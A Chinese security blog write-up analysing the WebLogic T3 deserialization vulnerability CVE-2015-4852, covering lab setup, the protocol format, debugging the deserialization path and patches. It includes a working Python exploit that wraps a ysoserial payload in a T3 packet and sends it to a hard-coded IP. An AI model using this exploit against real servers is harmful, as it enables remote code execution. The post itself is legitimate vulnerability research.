CVE-2015-4852 Weblogic T3 反序列化分析

0x01 前言

看到很多师傅的面经里面都有提到 Weblogic 这一个漏洞，最近正好有一些闲暇时间，可以看一看。

因为环境上总是有一些小问题，所以会在本地和云服务器切换着调试

0x02 环境搭建

• 太坑了，我的建议是用本地搭建的方法，因为用 docker 搭建，会产生依赖包缺失的问题，本地搭建指南 https://www.penson.top/article/av40

这里环境安装用的是 奇安信 A-team 大哥提供的脚本，不得不说实在是太方便了！省去了很多环境搭建中不必要的麻烦

链接：https://github.com/QAX-A-Team/WeblogicEnvironment

下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中

JDK安装包下载地址：https://www.oracle.com/technetwork/java/javase/archive-139210.html

Weblogic安装包下载地址：https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html

我这里直接用的 kali 搭建，需要先把 jdk 和 weblogic 放到文件夹里面，如图

首先要先改写一下 Dockerfile，原作者写的 Dockerfile 有一点小问题

# 基础镜像
FROM centos:centos7
# 参数
ARG JDK_PKG
ARG WEBLOGIC_JAR
# 解决libnsl包丢失的问题
# RUN yum -y install libnsl

# 创建用户
RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle
# 创建需要的文件夹和环境变量
RUN mkdir -p /install && mkdir -p /scripts
ENV JDK_PKG=$JDK_PKG
ENV WEBLOGIC_JAR=$WEBLOGIC_JAR

# 复制脚本
COPY scripts/jdk_install.sh /scripts/jdk_install.sh 
COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh 

COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh
COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh
COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh
COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh
COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh
COPY jdks/$JDK_PKG .
COPY weblogics/$WEBLOGIC_JAR .

# 判断jdk是包（bin/tar.gz）weblogic包（11g/12c）载入对应脚本
RUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi
RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scripts/create_domain12c.sh /scripts/create_domain.sh  ; fi

# 脚本设置权限及运行
RUN chmod +x /scripts/jdk_install.sh
RUN chmod +x /scripts/weblogic_install.sh
RUN chmod +x /scripts/create_domain.sh
RUN chmod +x /scripts/open_debug_mode.sh
# 安装JDK
RUN /scripts/jdk_install.sh
# 安装weblogic
RUN /scripts/weblogic_install.sh
# 创建Weblogic Domain
RUN /scripts/create_domain.sh
# 打开Debug模式
RUN /scripts/open_debug_mode.sh
# 启动 Weblogic Server
# CMD ["tail","-f","/dev/null"]
CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"]
EXPOSE 7001

接着起环境

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

再把 docker 当中的一些依赖文件夹拷出来，但是这一步经过我测试，感觉 docker 当中的 lib 存在一定问题，所以后续把 weblogic 的库拿进来就可以了，对应的代码我会放在 GitHub 上，避免师傅们踩坑。

0x03 基础知识

关于 Weblogic

• 首先说一说 Weblogic 吧，Weblogic 就和 Tomcat 差不多，从功能上来说就是两个 Web 服务端，也是启动器。

和 Tomcat 不同的地方在于，Weblogic 可以自己部署很多东西，要知道，在 Tomcat 当中，这些都是需要自己写代码的。

T3 协议

T3 协议其实是 Weblogic 内独有的一个协议，在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中，被传输的是一串序列化的数据，在这串数据被接收后，执行反序列化的操作。

在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。

我们可以拿 CVE-2015-4852 的 EXP 来讲解

EXP 如下

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = '.\ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "81.68.120.14"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "Calc"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

• 这里有一个小坑，我直接运行 py 程序是不行的，会回显 Not Weblogic，因为 python socket 如果是频繁发包，会被服务端所拒绝，所以需要以 debug 模式运行。当然如果增添 sleep 应该也是可以实现的。

Weblogic 请求包头

我们需要通过 Wireshark 对这一个流量包执行抓包操作，后续抓到包的请求头如图

这一个就是它请求包的头

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

在发送该请求包头后，服务端 Weblogic 会有一个响应，内容如下

HELO:10.3.6.0.false
AS:2048
HL:19

HELO 后面的内容则是被攻击方的 Weblogic 版本号，也就是说，在发送正确的请求包头后，服务端会进行一个返回 Weblogic 的版本号。

Weblogic 请求主体

请求主体，也就是发送的数据，这些数据分为七部分内容，此处借用 z_zz_zzz师傅的修复weblogic的JAVA反序列化漏洞的多种方法文章中的一张图

第一个非 Java 序列化数据，也就是我们的请求头：t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

后面第 n 部分的数据，其实是不限制的，也就是说，我可以只有一部分的 Java 序列化数据，也可以有七部分的 Java 序列化数据，这并不重要，我们可以看观察一下 Wireshark 抓的包

在 ac ed 00 05 之后的内容便是序列化的数据，所以如果我们要进行攻击，应该是对于这一串序列化的数据进行恶意构造，让服务端在反序列化的时候发起攻击。

• 而此处，如果有多个 Java 序列化的数据，可以对任一一个数据进行攻击即可。

0x04 漏洞分析与调试

寻找尾部漏洞点

毕竟是反序列化的漏洞，思考了一下从两个点入手。

1、是否存在 Jndi 注入
2、是否有能够命令执行的利用点

Jndi 注入的链尾探索

怀着这样的思路，先全局搜索 Jndi 关键词，感觉我这样的做法应该很不精准，但是暂时找不到其他好的方法，应该是要借助一些插件或者工具什么的了。

这里有一个 JndiServiceImpl 类，看着不错，点进去看看，它的 invoke() 方法同样吸引人，点过去之后发现疑似存在 jndi 注入

不过这里虽然参数 ———— this.implJndiName 是可控的，但是无法进行攻击，因为只能对 java:comp/env/ 进行探测，无法对 rmi, jndi, ldap 三者进行有效的调用，初步告吹了。

重新换一个类，这里我找到的是 JndiAttrs 类，在它的构造函数中存在调用 ldap 的现象，在第 40 行

从第六个字符开始截取，存在一些绕过手法，这个并不要紧，而 providerURL 最后会被 put 进 env 当中，env 是一个 Properties 类

继续往下分析，env 作为 InitialDirContext 类的构造函数的传参。

一路跟进，是到了 InitialContext 的构造函数，跟进 init() 方法

跟进 getDefaultInitCtx() 方法，再跟进 NamingManager.getInitialContext(myProps)，发现只是 loadClass 了一个对象，寄，白给。

诸如此类链尾的尝试还有很多，师傅们可以自行尝试，我这只是在抛砖引玉。由于篇幅限制，后续内容我们还是集中于 Weblogic CVE-2015-4852 的漏洞分析。

漏洞分析

通过命令 ls -r ./* | grep -i commons，抑或是通过 maven dependency analyze，都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。

所以我们现在已经有了链尾，需要寻找一个合适的入口类，这里就直接借用其他师傅们的研究成果了，反序列化的入口类是在 InboundMsgAbbrev#readObject 处，下个断点开始调试。

• Weblogic T3 对于 RMI 传递过来的数据在处理上还是比较绕的，不过有了前面 z_zz_zzz 师傅文章中的那张图，在理解上能够变得简单得多。

开始调试

先跟进 ServerChannelInputStream 的构造函数，ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息

继续跟进 getServerChannel() 方法

我们可以关注一下目前的 this.connection 是什么

connection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 这个类，在 this.connection 中主要存储了一些 RMI 连接的数据，包括端口地址等

跟进 getChannel() 方法，开始处理 T3 协议

• T3 头处理结束，重新回到 InboundMsgAbbrev#readObject 处，跟进 readObject() 方法

一路跟进至 InboundMsgAbbrev#resolveClass() 中，这里的调用栈如下

resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)

resolveClass() 方法是用来处理类的，这些类在经过反序列化之后会走到 resolveClass() 方法这里，此时的 var1，正是我们的 AnnotationInvocationHandler 类

这时候的 AnnotationInvocationHandler 类并不会被直接拿去反序列化，因为 Weblogic 服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后（也可以说只是做了 Class.forName() 的操作之后），才会开始进行真正的反序列化

后续就是熟悉的 CC1 链环节，这里不再展开

PoC 理解

PoC 本质就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式，我们需要写入的有几段东西。

1、Header，这代表了数据包长度
2、T3 Header
3、反序列化标志，也就是 fe 01 00 00

所以这三段话是这么来的

header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")

0x05 漏洞修复

在 resolveClass 处打补丁

在前面分析的过程中，我们能够看出来，加载类其实是通过调用 resolveClass() 方法，再通过反射获取到任意类的，所以官方选择了基于 resolveClass() 去做黑名单校验。

如果在 resolveClass() 处加入一个过滤，在 readNonProxyDesc 调用完 resolveClass 方法后，后面的反序列化操作无法完成。

通过 Web 代理与 nginx 等负载均衡防御

Web 代理的方式只能转发 HTTP 的请求，而不会转发 T3 协议的请求，这就能防御住 T3 漏洞的攻击。当然这对于业务上有很大的影响。同理负载均衡也是，不过负载均衡需要自己手动设置。

黑名单 bypass

Oracle 官方对于 CVE-2015-4852 的修复是通过黑名单限制的。

黑名单中的类不会被反序列化

绕过思路如下

其实就是由 ServerChannelInputStream 换到了自身的 ReadExternal#InputStream，这一个 bypass 也被收录为 CVE-2016-0638；后续会对这一个漏洞进行分析。

0x06 小结

从原理角度上来说还是比较简单的，不过理解 T3 的传输，并且构造恶意 PoC 的过程是非常值得学习的，CVE-2015-4852 为一些类似的攻击提供了思路。